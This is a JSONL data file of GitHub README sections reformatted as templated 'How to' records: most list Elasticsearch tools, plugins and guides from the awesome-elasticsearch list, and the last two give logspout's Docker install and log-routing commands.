{"id": "gh_050c3b263903", "question": "How to: Open-source and free products, based on Elasticsearch", "question_body": "About dzharii/awesome-elasticsearch", "answer": "* [Fess](https://fess.codelibs.org/index.html) is an open source full featured Enterprise Search, with a web-crawler \n* [Yelp/elastalert](https://github.com/yelp/elastalert) is a modular flexible rules based alerting system written in Python\n* [etsy/411](https://github.com/etsy/411) - an Alert Management Web Application https://demo.fouroneone.io (credentials: user/user)\n* [appbaseio/mirage](https://github.com/appbaseio/mirage) is a 🔎 GUI for composing Elasticsearch queries\n* [exceptionless/Exceptionless](https://github.com/exceptionless/Exceptionless) is an error (exceptions) collecting and reporting server with client bindings for a various programming languages\n* [searchkit/searchkit](https://github.com/searchkit/searchkit) is a UI framework based on React to build awesome search experiences with Elasticsearch\n* [appbaseio/reactivemaps](https://opensource.appbase.io/reactivemaps) is a React based UI components library for building Airbnb / Foursquare like Maps\n* [appbaseio/reactivesearch](https://opensource.appbase.io/reactivesearch) is a library of beautiful React UI components for Elasticsearch\n* [appbaseio/dejavu](https://github.com/appbaseio/dejavu/) The missing UI for Elasticsearch; [landing page](https://opensource.appbase.io/dejavu/)\n* [Simple File Server](https://github.com/pitchpoint-solutions/sfs) is an Openstack Swift compatible distributed object store that can serve and securely store billions of large and small files using minimal resources.\n* [logagent](https://www.npmjs.com/package/@sematext/logagent) a log shipper to parse and ship logs to Elasticsearch including bulk indexing, disk buffers and log format detection. \n* [ItemsAPI](https://github.com/itemsapi/itemsapi) simplified search API for web and mobile (based on Elasticsearch and Express.js)\n* [Kuzzle](https://github.com/kuzzleio/kuzzle) - An open-source backend with advanced real-time features for Web, Mobile and IoT that uses ElasticSearch as a database. ([Website](https://kuzzle.io/))\n* [SIAC](https://github.com/citybasebrooks/SIAC) - SIAC is an enterprise SIEM built on the ELK stack and other open-source components.\n* [Sentinl](https://github.com/sirensolutions/sentinl) - Sentinl is a Kibana alerting and reporting app.\n* [Praeco](https://github.com/ServerCentral/praeco/) - Elasticsearch alerting made simple\n* [DataStation](https://github.com/multiprocessio/datastation) - Easily query, script, and visualize data from every database, file, and API.\n* [DocKit](https://github.com/geek-fun/dockit) - GUI client for elasticsearch to query, manage and visualize your data.", "tags": ["dzharii"], "source": "github_gists", "category": "dzharii", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 5023, "answer_score": 10, "has_code": false, "url": "https://github.com/dzharii/awesome-elasticsearch", "collected_at": "2026-01-17T13:02:41.435488"}
{"id": "gh_02a432452775", "question": "How to: Development and debugging", "question_body": "About dzharii/awesome-elasticsearch", "answer": "* [Sense (from Elastic)](https://github.com/elastic/sense/#sense) A JSON aware developer console to Elasticsearch; official and very powerful\n* [ES-mode](https://github.com/dakrone/es-mode) An Emacs major mode for interacting with Elasticsearch (similar to Sense)\n* [Elasticsearch Cheatsheet](http://elasticsearch-cheatsheet.jolicode.com/) Examples for the most used queries, API and settings for all major version of Elasticsearch\n* [Elasticstat](https://github.com/objectrocket/elasticstat) CLI tool displaying monitoring informations like htop\n* [Elastic for Visual Studio Code](https://github.com/hsen-dev/vscode-elastic) An extension for developing Elasticsearch queries like Kibana and Sense extention in Visual Studio Code\n* [Elastic Builder](https://github.com/sudo-suhas/elastic-builder) A Node.js implementation of the Elasticsearch DSL\n* [Bodybuilder](https://github.com/danpaz/bodybuilder) A Node.js elasticsearch query body builder\n* [enju](https://github.com/kelp404/enju) A Node.js elasticsearch ORM\n* [Peek](https://github.com/ywangd/peek) An interactive CLI in Python that works like Kibana Console with additional features\n* [Logstash pipeline parser](https://github.com/TomasKoutek/logstash-pipeline-parser) Python Parsing expression grammar (PEG) and Abstract syntax tree (AST) for Logstash pipeline syntax.", "tags": ["dzharii"], "source": "github_gists", "category": "dzharii", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 5023, "answer_score": 10, "has_code": false, "url": "https://github.com/dzharii/awesome-elasticsearch", "collected_at": "2026-01-17T13:02:41.435498"}
{"id": "gh_81248f964497", "question": "How to: Import and Export", "question_body": "About dzharii/awesome-elasticsearch", "answer": "* [Knapsack plugin](https://github.com/jprante/elasticsearch-knapsack)  is an \"swiss knife\" export/import plugin for Elasticsearch\n* [Elasticsearch-Exporter](https://github.com/mallocator/Elasticsearch-Exporter) is a command line script to import/export data from Elasticsearch to various other storage systems\n* [esbulk](https://github.com/miku/esbulk) Parallel elasticsearch bulk indexing utility for the command line.\n* [elasticdump](https://github.com/taskrabbit/elasticsearch-dump) - tools for moving and saving indices\n* [elasticsearch-loader](https://github.com/moshe/elasticsearch_loader) - Tool for loading common file types to elasticsearch including csv, json, and parquet", "tags": ["dzharii"], "source": "github_gists", "category": "dzharii", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 5023, "answer_score": 10, "has_code": false, "url": "https://github.com/dzharii/awesome-elasticsearch", "collected_at": "2026-01-17T13:02:41.435505"}
{"id": "gh_44e018f21915", "question": "How to: Management", "question_body": "About dzharii/awesome-elasticsearch", "answer": "* [Esctl](https://github.com/jeromepin/esctl) - High-level command line interface to manage Elasticsearch clusters.\n* [Vulcanizer](https://github.com/github/vulcanizer) - Github's open sourced cluster management library based on Elasticsearch's REST API. Comes with a high level CLI tool", "tags": ["dzharii"], "source": "github_gists", "category": "dzharii", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 5023, "answer_score": 10, "has_code": false, "url": "https://github.com/dzharii/awesome-elasticsearch", "collected_at": "2026-01-17T13:02:41.435511"}
{"id": "gh_0e04bca495a4", "question": "How to: Integrations and SQL support", "question_body": "About dzharii/awesome-elasticsearch", "answer": "* [NLPchina/elasticsearch-sql](https://github.com/NLPchina/elasticsearch-sql/) - Query elasticsearch using familiar SQL syntax. You can also use ES functions in SQL.\n* [elastic/elasticsearch-hadoop](https://github.com/elastic/elasticsearch-hadoop) - Elasticsearch real-time search and analytics natively integrated with Hadoop (and Hive)\n* [jprante/elasticsearch-jdbc](https://github.com/jprante/elasticsearch-jdbc) - JDBC importer for Elasticsearch\n* [pandasticsearch](https://github.com/onesuper/pandasticsearch) - An Elasticsearch client exposing DataFrame API\n* [monstache](https://github.com/rwynn/monstache) - Go daemon that syncs MongoDB to Elasticsearch in near realtime", "tags": ["dzharii"], "source": "github_gists", "category": "dzharii", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 5023, "answer_score": 10, "has_code": false, "url": "https://github.com/dzharii/awesome-elasticsearch", "collected_at": "2026-01-17T13:02:41.435519"}
{"id": "gh_955d3ce26d9f", "question": "How to: You know, for search", "question_body": "About dzharii/awesome-elasticsearch", "answer": "* [jprante/elasticsearch-plugin-bundle](https://github.com/jprante/elasticsearch-plugin-bundle) A plugin that consists of a compilation of useful Elasticsearch plugins related to indexing and searching documents", "tags": ["dzharii"], "source": "github_gists", "category": "dzharii", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 5023, "answer_score": 10, "has_code": false, "url": "https://github.com/dzharii/awesome-elasticsearch", "collected_at": "2026-01-17T13:02:41.435525"}
{"id": "gh_cb7e58df24cf", "question": "How to: Kibana plugins and applications", "question_body": "About dzharii/awesome-elasticsearch", "answer": "* [elastic/timelion](https://github.com/elastic/timelion) time-series analyses application. Overview and installation guide: Timelion: [The time series composer for Kibana](https://www.elastic.co/blog/timelion-timeline)\n* [Kibana Alert App for Elasticsearch](https://github.com/elasticfence/kaae) - Kibana plugin with monitoring, alerting and reporting capabilities\n* [VulnWhisperer](https://github.com/austin-taylor/VulnWhisperer) - VulnWhisperer is a vulnerability data and report aggregator.\n* [Wazuh Kibana App](https://github.com/wazuh/wazuh-kibana-app) - A Kibana app for working with data generated by [Wazuh](https://wazuh.com/).\n* [Datasweet Formula](https://github.com/datasweet-fr/kibana-datasweet-formula) - A real time calculated metric plugin [Datasweet Formula](http://www.datasweet.fr/datasweet-formula/).", "tags": ["dzharii"], "source": "github_gists", "category": "dzharii", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 5023, "answer_score": 10, "has_code": false, "url": "https://github.com/dzharii/awesome-elasticsearch", "collected_at": "2026-01-17T13:02:41.435531"}
{"id": "gh_f561da210f68", "question": "How to: Kibana Visualization plugins", "question_body": "About dzharii/awesome-elasticsearch", "answer": "* [nbs-system/mapster](https://github.com/nbs-system/mapster) - a visualization which allows to create live event 3d maps in Kibana\n* [Kibana Tag Cloud Plugin](https://github.com/stormpython/tagcloud) - tag cloud visualization plugin based on d3-cloud plugin\n* [LogTrail](https://github.com/sivasamyk/logtrail) - a plugin for Kibana to view, analyze, search and tail log events from multiple hosts in realtime with devops friendly interface inspired by Papertrail\n* [Analyze API](https://github.com/johtani/analyze-api-ui-plugin) - Kibana 6 application to manipulate the `_analyze` API graphically\n* [kbn_network](https://github.com/dlumbrer/kbn_network) - This is a plugin developed for Kibana that displays a network node that link two fields that have been previously selected.", "tags": ["dzharii"], "source": "github_gists", "category": "dzharii", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 5023, "answer_score": 10, "has_code": false, "url": "https://github.com/dzharii/awesome-elasticsearch", "collected_at": "2026-01-17T13:02:41.435538"}
{"id": "gh_eba9199b0dc3", "question": "How to: Discussions and social media", "question_body": "About dzharii/awesome-elasticsearch", "answer": "* [/r/elasticsearch](https://www.reddit.com/r/elasticsearch)\n* [Elasticsearch forum](https://discuss.elastic.co/)\n* [Stackoverflow](http://stackoverflow.com/tags/elasticsearch/hot)\n* [Books on Amazon](http://www.amazon.com/s/ref=nb_sb_noss_1?url=search-alias%3Daps&field-keywords=elasticsearch) does not fit well into this category, but worth checking out!\n* TODO: Put some good twitter accounts", "tags": ["dzharii"], "source": "github_gists", "category": "dzharii", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 5023, "answer_score": 10, "has_code": false, "url": "https://github.com/dzharii/awesome-elasticsearch", "collected_at": "2026-01-17T13:02:41.435544"}
{"id": "gh_a95448a28aa4", "question": "How to: System configuration", "question_body": "About dzharii/awesome-elasticsearch", "answer": "* [A Library of Common Elasticsearch Errors](https://pulse.support/kb/common-elasticsearch-errors)\n* [Elasticsearch Query Language (DSL) Reference - Syntax, Examples, and Tips](https://pulse.support/kb/elasticsearch-query-language)\n* [A Useful Elasticsearch Cheat Sheet in Times of Trouble](http://logz.io/blog/elasticsearch-cheat-sheet/)\n* [The definitive guide for Elasticsearch on Windows Azure](http://code972.com/blog/2014/07/74-the-definitive-guide-for-elasticsearch-on-windows-azure)\n* [Elasticsearch pre-flight checklist](https://asquera.de/blog/2012-11-25/elasticsearch-pre-flight-checklist/)\n* [9 Tips on Elasticsearch Configuration for High Performance](https://www.loggly.com/blog/nine-tips-configuring-elasticsearch-for-high-performance/)\n* [Best Practices in AWS](https://www.elastic.co/guide/en/elasticsearch/plugins/master/cloud-aws-best-practices.html)\n* [How to Secure Elasticsearch and Kibana](https://www.mapr.com/blog/how-secure-elasticsearch-and-kibana) with NGINX, LDAP and SSL :lock:\n* [Elasticsearch server on Webfaction using NGINX with basic authorization and HTTPS protocol](http://joanswork.com/webfaction-elasticsearch-server-tutorial/)\n* [Elasticsearch Guides](https://opster.com/elasticsearch-guides/) Useful Elasticsearch guides with best practices, troubleshooting instructions for errors, tips, examples of code snippets and more.", "tags": ["dzharii"], "source": "github_gists", "category": "dzharii", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 5023, "answer_score": 10, "has_code": false, "url": "https://github.com/dzharii/awesome-elasticsearch", "collected_at": "2026-01-17T13:02:41.435553"}
{"id": "gh_709addee0090", "question": "How to: Docker and Elasticsearch", "question_body": "About dzharii/awesome-elasticsearch", "answer": "* [Running an Elasticsearch cluster with Docker](https://stefanprodan.com/2016/elasticsearch-cluster-with-docker/)", "tags": ["dzharii"], "source": "github_gists", "category": "dzharii", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 5023, "answer_score": 10, "has_code": false, "url": "https://github.com/dzharii/awesome-elasticsearch", "collected_at": "2026-01-17T13:02:41.435558"}
{"id": "gh_a97f8a71a91e", "question": "How to: Java tuning", "question_body": "About dzharii/awesome-elasticsearch", "answer": "* [Elasticsearch Java Virtual Machine settings explained](http://jprante.github.io/2012/11/28/Elasticsearch-Java-Virtual-Machine-settings-explained.html)\n* [Tuning Garbage Collection for Mission-Critical Java Applications](https://live.mgm-tp.com/en/tuning-garbage-collection-for-mission-critical-java-applications-tuning-guidelines-for-java-garbage-collection-part-1/)\n* [G1: One Garbage Collector To Rule Them All](http://www.infoq.com/articles/G1-One-Garbage-Collector-To-Rule-Them-All)\n* [Use Lucene’s MMapDirectory on 64bit platforms, please!](http://blog.thetaphi.de/)\n* [Black Magic cookbook](http://product.hubspot.com/blog/g1gc-tuning-your-hbase-cluster)\n* [G1GC Fundamentals: Lessons from Taming Garbage Collection](http://product.hubspot.com/blog/g1gc-fundamentals-lessons-from-taming-garbage-collection)\n* [JVM Garbage Collector settings\ninvestigation](https://tigase.tech/attachments/download/4808/GC-result.pdf) PDF Comparison of JVM GC    \n* [Garbage Collection Settings for Elasticsearch Master Nodes](https://dzone.com/articles/garbage-collection-settings-for-elasticsearch-mast) Fine tunine your garbage collector    \n* [Understanding G1 GC Log Format](https://dzone.com/articles/understanding-g1-gc-log-format) To tune and troubleshoot G1 GC enabled JVMs, one must have a proper understanding of G1 GC log format. This article walks through key things that one should know about the G1 GC log format.\n\nHow to start using G1\n```\n#ES_JAVA_OPTS=\"\"\nES_JAVA_OPTS=\"-XX:-UseParNewGC -XX:-UseConcMarkSweepGC -XX:+UseG1GC\"\n\n```", "tags": ["dzharii"], "source": "github_gists", "category": "dzharii", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 5023, "answer_score": 10, "has_code": true, "url": "https://github.com/dzharii/awesome-elasticsearch", "collected_at": "2026-01-17T13:02:41.435569"}
{"id": "gh_efdf16d2706c", "question": "How to: Scalable Infrastructure and performance", "question_body": "About dzharii/awesome-elasticsearch", "answer": "* [The Authoritative Guide to Elasticsearch Performance Tuning (Part 1)](https://qbox.io/blog/authoritative-guide-elasticsearch-performance-tuning-part-1) [Part 2](https://qbox.io/blog/elasticsearch-performance-tuning-part-2-zen) [Part 3](https://qbox.io/index.php?p=blog/authoritative-guide-elasticsearch-performance-tuning-part-3) \n* [Tuning data ingestion performance for Elasticsearch on Azure](https://azure.microsoft.com/en-us/documentation/articles/guidance-elasticsearch-tuning-data-ingestion-performance/) - and not only for Azure. That's a great article about Elasticsearch Performance testing by example\n* [Elasticsearch Indexing Performance Cheatsheet](https://blog.codecentric.de/en/2014/05/elasticsearch-indexing-performance-cheatsheet/) - when you plan to index large amounts of data in Elasticsearch (by Patrick Peschlow)\n* [Elasticsearch for Logging](http://edgeofsanity.net/article/2012/12/26/elasticsearch-for-logging.html) Elasticsearch configuration tips and tricks from Sanity\n* [Scaling Elasticsearch to Hundreds of Developers](http://engineeringblog.yelp.com/2014/11/scaling-elasticsearch-to-hundreds-of-developers.html) by Joseph Lynch @yelp \n* [10 Elasticsearch metrics to watch](http://radar.oreilly.com/2015/04/10-elasticsearch-metrics-to-watch.html)\n* [Understanding Elasticsearch Performance](https://joshrendek.com/2015/11/understanding-elasticsearch-performance/)\n* [Our Experience of Creating Large Scale Log Search System Using Elasticsearch](http://www.cubrid.org/blog/dev-platform/our-experience-creating-large-scale-log-search-system-using-elasticsearch/) - topology, separate master, data and search balancers nodes\n* :open_file_folder: [Elasticsearch on Azure Guidance](https://github.com/Azure/azure-content/blob/master/articles/guidance/guidance-elasticsearch.md) it is 10% on Azure and 90% of a very valuable general information, tips and tricks about Elasticsearch\n* [How to avoid the split-brain problem in Elasticsearch](http://blog.trifork.com/2013/10/24/how-to-avoid-the-split-brain-problem-in-elasticsearch/)\n* Datadog's series about monitoring Elasticsearch performance:\n  * [How to monitor Elasticsearch performance](https://www.datadoghq.com/blog/monitor-elasticsearch-performance-metrics/)\n  * [How to collect Elasticsearch metrics](https://www.datadoghq.com/blog/collect-elasticsearch-metrics/)\n  * [How to monitor Elasticsearch with Datadog](https://www.datadoghq.com/blog/monitor-elasticsearch-datadog/)\n  * [How to solve 5 Elasticsearch performance and scaling problems](https://www.datadoghq.com/blog/elasticsearch-performance-scaling-problems/)\n* [Performance Monitoring Essentials - Elasticsearch Edition](https://sematext.com/publications/performance-monitoring-essentials-elasticsearch-edition.pdf)\n* [Operator for running Elasticsearch in Kubernetes](https://github.com/zalando-incubator/es-operator)", "tags": ["dzharii"], "source": "github_gists", "category": "dzharii", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 5023, "answer_score": 10, "has_code": false, "url": "https://github.com/dzharii/awesome-elasticsearch", "collected_at": "2026-01-17T13:02:41.435580"}
{"id": "gh_7b1ce80e4d4e", "question": "How to: Integrations", "question_body": "About dzharii/awesome-elasticsearch", "answer": "* [Apache Hive integration](https://www.elastic.co/guide/en/elasticsearch/hadoop/current/hive.html)\n* [Connecting Tableau to Elasticsearch (READ: How to query Elasticsearch with Hive SQL and Hadoop)](http://ryrobes.com/systems/connecting-tableau-to-elasticsearch-read-how-to-query-elasticsearch-with-hive-sql-and-hadoop/)\n* [mradamlacey/elasticsearch-tableau-connector](https://github.com/mradamlacey/elasticsearch-tableau-connector)", "tags": ["dzharii"], "source": "github_gists", "category": "dzharii", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 5023, "answer_score": 10, "has_code": false, "url": "https://github.com/dzharii/awesome-elasticsearch", "collected_at": "2026-01-17T13:02:41.435585"}
{"id": "gh_745ff541994c", "question": "How to: Time series", "question_body": "About dzharii/awesome-elasticsearch", "answer": "* [Elasticsearch as a Time Series Data Store](https://www.elastic.co/blog/elasticsearch-as-a-time-series-data-store) by Felix Barnsteiner\n* [Running derivatives on Voyager velocity data](https://www.elastic.co/blog/out-of-this-world-aggregations) By Colin Goodheart-Smithe\n* Shewhart Control Charts via Moving Averages: [Part 1](https://www.elastic.co/blog/staying-in-control-with-moving-averages-part-1) - [Part 2](https://www.elastic.co/blog/staying-in-control-with-moving-averages-part-2) by Zachary Tong\n* Implementing a Statistical Anomaly Detector: [Part 1](https://www.elastic.co/blog/implementing-a-statistical-anomaly-detector-part-1) - [Part 2](https://www.elastic.co/blog/implementing-a-statistical-anomaly-detector-part-2) - [Part 3](https://www.elastic.co/blog/implementing-a-statistical-anomaly-detector-part-3) by Zachary Tong", "tags": ["dzharii"], "source": "github_gists", "category": "dzharii", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 5023, "answer_score": 10, "has_code": false, "url": "https://github.com/dzharii/awesome-elasticsearch", "collected_at": "2026-01-17T13:02:41.435593"}
{"id": "gh_672aca4d6ae4", "question": "How to: Machine Learning", "question_body": "About dzharii/awesome-elasticsearch", "answer": "* [Classifying images into Elasticsearch with DeepDetect](http://www.deepdetect.com/tutorials/es-image-classifier/) ([forum thread with discussion](https://discuss.elastic.co/t/categorizing-images-with-deep-learning-into-elasticsearch/33217)) by Emmanuel Benazera\n* [Elasticsearch with Machine Learning](https://medium.com/hello-elasticsearch/elasticsearch-amazon-machine-learning-7d7b979c328d#.s50a6d5mn) ([English translation](https://translate.googleusercontent.com/translate_c?depth=1&hl=en&prev=search&rurl=translate.google.com&sl=ja&u=https://medium.com/hello-elasticsearch/elasticsearch-amazon-machine-learning-7d7b979c328d&usg=ALkJrhioEPGsVRglGPFTa6w2ZfM-ydSoeg)) by Kunihiko Kido\n* [Recommender System with Mahout and Elasticsearch](https://www.mapr.com/products/mapr-sandbox-hadoop/tutorials/recommender-tutorial)", "tags": ["dzharii"], "source": "github_gists", "category": "dzharii", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 5023, "answer_score": 10, "has_code": false, "url": "https://github.com/dzharii/awesome-elasticsearch", "collected_at": "2026-01-17T13:02:41.435599"}
{"id": "gh_9172d2702ef8", "question": "How to: Use cases for Elasticsearch", "question_body": "About dzharii/awesome-elasticsearch", "answer": "* [Data Infrastructure at IFTTT](https://medium.com/engineering-at-ifttt/data-infrastructure-at-ifttt-35414841f9b5) Elasticsearch, Kafka, Apache Spark, Redhsift, other AWS services \n* [OFAC compliance with Elasticsearch](https://israelwebdev.wordpress.com/2015/01/19/ofac-compliance-with-elasticsearch/) using AWS\n* [Building a Streaming Search Platform](https://blog.insightdatascience.com/building-a-streaming-search-platform-61a0d5a323a8#.f4b0rvae5) - \nStreaming Search on Tweets: Storm, Elasticsearch, and Redis", "tags": ["dzharii"], "source": "github_gists", "category": "dzharii", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 5023, "answer_score": 10, "has_code": false, "url": "https://github.com/dzharii/awesome-elasticsearch", "collected_at": "2026-01-17T13:02:41.435605"}
{"id": "gh_ad0a574ecea2", "question": "How to: Code, configuration file samples and other gists", "question_body": "About dzharii/awesome-elasticsearch", "answer": "* [Elasticsearch config for a write-heavy cluster](https://gist.github.com/reyjrar/4364063) - reyjrar/elasticsearch.yml\n* [chenryn/ESPL - Elastic Search Processing Language](https://github.com/chenryn/ESPL) PEG parser sample for SPL to Elasticsearch DSL\n* [thomaspatzke/EQUEL](https://github.com/thomaspatzke/EQUEL) an Elasticsearch QUEry Language, based on G4 grammar parser", "tags": ["dzharii"], "source": "github_gists", "category": "dzharii", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 5023, "answer_score": 10, "has_code": false, "url": "https://github.com/dzharii/awesome-elasticsearch", "collected_at": "2026-01-17T13:02:41.435617"}
{"id": "gh_3194e0addee7", "question": "How to: Who is using elasticsearch?", "question_body": "About dzharii/awesome-elasticsearch", "answer": "[Yelp](http://engineeringblog.yelp.com/2015/10/how-we-use-deep-learning-to-classify-business-photos-at-yelp.html),\n[IFTTT](https://medium.com/engineering-at-ifttt/data-infrastructure-at-ifttt-35414841f9b5),\n[StackExchange](http://stackexchange.com/performance),\n[Raygun](https://raygun.io/blog/2014/02/search-improvements-at-raygun/),\n[Mozilla](https://www.youtube.com/watch?v=lWKEphKIG8U),\n[Spotify](https://labs.spotify.com/2015/11/17/monitoring-at-spotify-introducing-heroic/),\n[CERN](https://medium.com/@ghoranyi/needle-in-a-haystack-873c97a99983),\n[NASA](https://www.elastic.co/elasticon/2015/sf/unlocking-interplanetary-datasets-with-real-time-search)\n[Zalando](https://www.elastic.co/fr/videos/creating-the-fashion-experience-of-the-future-with-elasticsearch-at-zalando)", "tags": ["dzharii"], "source": "github_gists", "category": "dzharii", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 5023, "answer_score": 10, "has_code": false, "url": "https://github.com/dzharii/awesome-elasticsearch", "collected_at": "2026-01-17T13:02:41.435623"}
{"id": "gh_02218120ad89", "question": "How to: I want more! (Elasticsearch related resources)", "question_body": "About dzharii/awesome-elasticsearch", "answer": "* [Technology Explained Blog](https://alexandreesl.com/)\n* [EagerElk](http://blog.eagerelk.com/)\n* [Tim Roes Blog](https://www.timroes.de/)", "tags": ["dzharii"], "source": "github_gists", "category": "dzharii", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 5023, "answer_score": 10, "has_code": false, "url": "https://github.com/dzharii/awesome-elasticsearch", "collected_at": "2026-01-17T13:02:41.435629"}
{"id": "gh_6660ab0e84a5", "question": "How to: Contributing", "question_body": "About dzharii/awesome-elasticsearch", "answer": "* Make sure you are about to post a valuable resource that belongs to this list\n* Do NOT group ++Add and --Remove changes in same PR. Make them separate pull requests\n* Use spellchecker\n* All spelling and grammar corrections are welcome (except for the rule above)\n* Fork this repo, do your edits, send the pull request\n* Feel free to create any new sections\n* Do not even try to add this repo to any awesome-awesome-* lists \n \n#### ← [Awesome TypeScript](https://github.com/dzharii/awesome-typescript) -= Awesome Elasticsearch =-", "tags": ["dzharii"], "source": "github_gists", "category": "dzharii", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 5023, "answer_score": 10, "has_code": false, "url": "https://github.com/dzharii/awesome-elasticsearch", "collected_at": "2026-01-17T13:02:41.435637"}
{"id": "gh_8ee961a62f62", "question": "How to: Getting logspout", "question_body": "About gliderlabs/logspout", "answer": "Logspout is a very small Docker container (15.2MB virtual, based on [Alpine](https://github.com/gliderlabs/docker-alpine)). Pull the latest release from the index:\n\n\t$ docker pull gliderlabs/logspout:latest\n\nYou can also download and load a specific version:\n\n\t$ curl -s dl.gliderlabs.com/logspout/v2.tgz | docker load", "tags": ["gliderlabs"], "source": "github_gists", "category": "gliderlabs", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4697, "answer_score": 10, "has_code": false, "url": "https://github.com/gliderlabs/logspout", "collected_at": "2026-01-17T13:02:45.393492"}
{"id": "gh_5338c6c35628", "question": "How to: Using logspout", "question_body": "About gliderlabs/logspout", "answer": "#### Route all container output to remote syslog\n\nThe simplest way to use logspout is to just take all logs and ship to a remote syslog. Just pass a syslog URI (or several comma separated URIs) as the command. Here we show use of the `tls` encrypted transport option in the URI. Also, we always mount the Docker Unix socket with `-v` to `/var/run/docker.sock`:\n\n\t$ docker run --name=\"logspout\" \\\n\t\t--volume=/var/run/docker.sock:/var/run/docker.sock \\\n\t\tgliderlabs/logspout \\\n\t\tsyslog+tls://logs.papertrailapp.com:55555\n\nlogspout will gather logs from other containers that are started **without the `-t` option** and are configured with a logging driver that works with `docker logs` (`journald` and `json-file`).\n\nTo see what data is used for syslog messages, see the [syslog adapter](http://github.com/gliderlabs/logspout/blob/master/adapters) docs.\n\nThe container must be able to access the Docker Unix socket to mount it. This is typically a problem when [namespace remapping](https://docs.docker.com/engine/security/userns-remap/) is enabled. To disable remapping for the logspout container, pass the `--userns=host` flag to `docker run`, `.. create`, etc. \n\n#### Ignoring specific containers\n\nYou can tell logspout to ignore specific containers by setting an environment variable when starting your container, like so:-\n\n    $ docker run -d -e 'LOGSPOUT=ignore' image\n\nOr, by adding a label which you define by setting an environment variable when running logspout:\n\n    $ docker run --name=\"logspout\" \\\n        -e EXCLUDE_LABEL=logspout.exclude \\\n        --volume=/var/run/docker.sock:/var/run/docker.sock \\\n        gliderlabs/logspout\n    $ docker run -d --label logspout.exclude=true image\n\nLogspout also allows to ignore containers by specifying a list of labels using the environment variables `EXCLUDE_LABELS` or `EXCLUDE_LABEL`, using the `;` as separator:\n\n    $ $ docker run --name=\"logspout\" \\\n        -e EXCLUDE_LABELS=k8s:app;backend:rails;io.kubernetes.pod.namespace:default \\\n        --volume=/var/run/docker.sock:/var/run/docker.sock \\\n        gliderlabs/logspout\n    $ docker run -d --label k8s=app image1\n    $ docker run -d --label backend=rails image2\n\n**NOTE** Setting `EXCLUDE_LABELS` would take precedence over setting `EXCLUDE_LABEL`\n\n#### Including specific containers\n\nYou can tell logspout to only include certain containers by setting filter parameters on the URI:\n\n\t$ docker run \\\n\t\t--volume=/var/run/docker.sock:/var/run/docker.sock \\\n\t\tgliderlabs/logspout \\\n\t\traw://192.168.10.10:5000?filter.name=*_db\n\t\n\t$ docker run \\\n\t\t--volume=/var/run/docker.sock:/var/run/docker.sock \\\n\t\tgliderlabs/logspout \\\n\t\traw://192.168.10.10:5000?filter.id=3b6ba57db54a\n\t\n\t$ docker run \\\n\t\t--volume=/var/run/docker.sock:/var/run/docker.sock \\\n\t\tgliderlabs/logspout \\\n\t\traw://192.168.10.10:5000?filter.sources=stdout%2Cstderr\n\t\n\t# Forward logs from containers with both label 'a' starting with 'x', and label 'b' ending in 'y'.\n\t$ docker run \\\n\t\t--volume=/var/run/docker.sock:/var/run/docker.sock \\\n\t\tgliderlabs/logspout \\\n\t\traw://192.168.10.10:5000?filter.labels=a:x*%2Cb:*y\n\nNote that you must URL-encode parameter values such as the comma in `filter.sources` and `filter.labels`.\n\n#### Multiple logging destinations\n\nYou can route to multiple destinations by comma-separating the URIs:\n\n\t$ docker run \\\n\t\t--volume=/var/run/docker.sock:/var/run/docker.sock \\\n\t\tgliderlabs/logspout \\\n\t\traw://192.168.10.10:5000?filter.name=*_db,syslog+tls://logs.papertrailapp.com:55555?filter.name=*_app\n\n#### Suppressing backlog tail\nYou can tell logspout to only display log entries since container \"start\" or \"restart\" event by setting a `BACKLOG=false` environment variable (equivalent to `docker logs --since=0s`):\n\n\t$ docker run -d --name=\"logspout\" \\\n\t\t-e 'BACKLOG=false' \\\n\t\t--volume=/var/run/docker.sock:/var/run/docker.sock \\\n\t\tgliderlabs/logspout\n\nThe default behaviour is to output all logs since creation of the container (equivalent to `docker logs --tail=all` or simply `docker logs`).\n\n> NOTE: Use of this option **may** cause the first few lines of log output to be missed following a container being started, if the container starts outputting logs before logspout has a chance to see them. If consistent capture of *every* line of logs is critical to your application, you might want to test thoroughly and/or avoid this option (at the expense of getting the entire backlog for every restarting container). This does not affect containers that are removed and recreated.\n\n#### Environment variable, TAIL\nWhilst BACKLOG=false restricts the tail by setting the Docker Logs.Options.Since to time.Now(), another mechanism to restrict the tail is to set TAIL=n.  Use of this mechanism avoids parsing the earlier content of the logfile which may have a speed advantage if the tail content is of no interest or has become corrupted.\n\n#### Inspect log streams using curl\n\nUsing the [httpstream module](http://github.com/gliderlabs/logspout/blob/master/httpstream), you can connect with cur", "tags": ["gliderlabs"], "source": "github_gists", "category": "gliderlabs", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4697, "answer_score": 10, "has_code": true, "url": "https://github.com/gliderlabs/logspout", "collected_at": "2026-01-17T13:02:45.393548"}
